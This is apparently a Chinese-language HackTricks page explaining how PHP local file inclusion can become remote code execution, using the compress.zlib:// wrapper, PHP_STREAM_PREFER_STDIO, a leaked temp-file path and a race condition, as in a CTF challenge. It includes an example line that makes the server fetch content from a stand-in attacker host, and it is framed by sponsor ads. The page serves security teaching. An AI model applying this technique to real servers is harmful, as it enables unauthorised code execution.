# LFI2RCE 通过 compress.zlib + PHP\_STREAM\_PREFER\_STUDIO + 路径泄露
从零开始学习 AWS 黑客技术,成为专家 htARTE(HackTricks AWS 红队专家)!
支持 HackTricks 的其他方式:
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** 上关注我们**。
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
#### [WhiteIntel](https://whiteintel.io)
[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**推动的搜索引擎,提供免费功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。
WhiteIntel 的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。
您可以访问他们的网站并免费尝试他们的引擎:
{% embed url="https://whiteintel.io" %}
***
### `compress.zlib://` 和 `PHP_STREAM_PREFER_STDIO`
使用协议 `compress.zlib://` 和标志 `PHP_STREAM_PREFER_STDIO` 打开的文件可以继续将到达连接的数据写入同一文件。
这意味着可以进行如下调用:
```php
file_get_contents("compress.zlib://http://attacker.com/file")
```
将发送一个请求,请求http://attacker.com/file,然后服务器可能会用一个有效的HTTP响应来回应该请求,保持连接打开,并在稍后发送额外数据,这些数据也会被写入文件。
您可以在php-src代码中的main/streams/cast.c部分看到这些信息:
```c
/* Use a tmpfile and copy the old streams contents into it */
if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}
```
### Race Condition to RCE
[**这个CTF**](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer) 是使用之前的技巧解决的。
攻击者将使**受害者服务器打开一个连接,从攻击者服务器读取文件**,使用**`compress.zlib`**协议。
**在**这个**连接**存在的时候,攻击者将**窃取临时文件的路径**(被服务器泄露)。
**在**连接**仍然打开**的情况下,攻击者将**利用LFI加载他控制的临时文件**。
然而,Web服务器中有一个检查,**阻止加载包含 ``** 的文件。因此,攻击者将滥用**竞争条件**。在仍然打开的连接中,**攻击者**将在**Web服务器**检查文件是否包含被禁止字符之后**发送PHP有效载荷**,但在**加载其内容之前**。
有关更多信息,请查看[https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer)中的竞争条件和CTF的描述。
#### [WhiteIntel](https://whiteintel.io)
[**WhiteIntel**](https://whiteintel.io) 是一个以**暗网**为基础的搜索引擎,提供免费功能,用于检查公司或其客户是否受到**窃取恶意软件**的**威胁**。
WhiteIntel的主要目标是打击由窃取信息恶意软件导致的账户劫持和勒索软件攻击。
您可以访问他们的网站并免费尝试他们的引擎:
{% embed url="https://whiteintel.io" %}
从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)!
支持HackTricks的其他方式:
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**上关注**我们。
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享您的黑客技巧**。